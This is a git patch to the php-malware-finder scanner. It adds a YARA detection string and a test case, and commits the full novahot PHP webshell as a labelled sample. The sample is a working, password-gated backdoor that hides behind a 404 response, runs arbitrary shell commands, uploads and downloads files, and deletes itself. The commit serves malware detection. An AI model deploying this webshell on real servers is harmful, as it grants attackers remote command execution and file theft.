From e627e456cf20ed382818048e7781f0253a0e0c6b Mon Sep 17 00:00:00 2001 From: jvoisin Date: Thu, 1 Dec 2016 13:26:09 +0100 Subject: Detect [novahot]( https://github.com/chrisallenlane/novahot ) Closes #37 --- php-malware-finder/common.yar | 1 + php-malware-finder/samples/real/novahot.php | 130 ++++++++++++++++++++++++++++ php-malware-finder/tests.sh | 1 + 3 files changed, 132 insertions(+) create mode 100644 php-malware-finder/samples/real/novahot.php diff --git a/php-malware-finder/common.yar b/php-malware-finder/common.yar index b47fb69..bde83c7 100644 --- a/php-malware-finder/common.yar +++ b/php-malware-finder/common.yar @@ -126,6 +126,7 @@ rule DodgyStrings $ = "slowloris" fullword nocase $ = "suhosin.executor.func.blacklist" $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. + $ = /trojan (payload)?/ $ = "uname -a" fullword $ = "visbot" nocase fullword $ = "warez" fullword nocase diff --git a/php-malware-finder/samples/real/novahot.php b/php-malware-finder/samples/real/novahot.php new file mode 100644 index 0000000..a330580 --- /dev/null +++ b/php-malware-finder/samples/real/novahot.php @@ -0,0 +1,130 @@ + + +# TODO: Change this password. Don't leave the default! +define('PASSWORD', 'the-password'); + +# Override the default error handling to: +# 1. Bludgeon PHP `throw`-ing rather than logging errors +# 2. Keep noise out of the error logs +set_error_handler('warning_handler', E_WARNING); +function warning_handler($errno, $errstr) { + throw new ErrorException($errstr); +} + +# get the POSTed JSON input +$post = json_decode(file_get_contents('php://input'), true); +$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); + +# feign non-existence if the authentication is invalid +if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { + header('HTTP/1.0 404 Not Found'); + die(); +} + +# return JSON to the client +header('content-type: application/json'); + +# if `cmd` is a trojan payload, execute it +if (function_exists($post['cmd'])) { + $post['cmd']($cwd, $post['args']); +} + +# otherwise, execute a shell command +else { + $output = []; + + # execute the command + $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; + exec($cmd, $output); + $cwd = array_pop($output); + + $response = [ + 'stdout' => $output, + 'stderr' => [], + 'cwd' => $cwd, + ]; + + die(json_encode($response)); +} + + +# File-download payload +function payload_download ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # open the file as binary, and base64-encode its contents + try { + $stdout = base64_encode(file_get_contents($args['file'])); + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not download file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# File-upload payload +function payload_upload ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # base64-decode the uploaded bytes, and write them to a file + try { + file_put_contents( $args['dst'], base64_decode($args['data'])); + $stderr = []; + $stdout = [ "File saved to {$args['dst']}." ]; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not save file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# Trojan autodestruct +function payload_autodestruct ($cwd, $args) { + + # attempt to delete the trojan + try { + + unlink(__FILE__); + $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; + } + + die(json_encode([ + 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], + 'stderr' => [], + 'cwd' => $cwd, + ])); +} diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index 6928e65..b9da203 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh @@ -90,6 +90,7 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" # real run_test real/sucuri_2014_04.php '0x67:$execution3:' +run_test real/novahot.php 'DodgyStrings' # Asp files run_test_asp classic/cmdasp.asp 'DodgyStrings' -- cgit v1.3